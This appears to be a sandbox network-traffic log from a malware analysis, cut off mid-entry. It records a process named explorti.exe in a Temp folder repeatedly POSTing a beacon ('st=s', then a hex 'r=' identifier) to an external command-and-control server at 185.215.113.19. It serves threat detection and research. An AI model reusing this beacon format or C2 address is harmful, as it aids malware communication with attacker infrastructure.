Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49766	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:37.346117020 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:38.133208036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:38.134059906 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:38.388470888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49767	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:38.502717972 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:39.251872063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:39.252782106 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:39.508150101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49768	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:39.726646900 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:40.503628016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:40.505124092 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:40.758210897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49769	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:40.875351906 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:41.681533098 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:41.682354927 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:41.941015959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49770	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:42.118132114 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:42.900330067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:42.901269913 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:43.153440952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49771	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:43.265912056 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:44.040589094 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:44.041460991 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:44.293975115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49772	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:44.408723116 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:45.182593107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:45.183196068 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:45.435314894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49773	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:45.553071022 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:46.296711922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:46.299961090 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:46.545428991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49774	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:46.678755045 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:47.433199883 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:47.434026003 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:47.682704926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49775	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:47.801697016 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:48.583400011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:48.584208965 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:48.903158903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49776	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:49.022285938 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:49.840581894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:49.842149973 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:50.104958057 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49777	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:50.238898039 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:51.019289017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:51.020160913 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 26, 2024 20:57:51.281037092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49778	185.215.113.19	80	6200	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 20:57:51.391597986 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 20:57:52.171596050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 18:57:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 20:57:52.173181057 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: 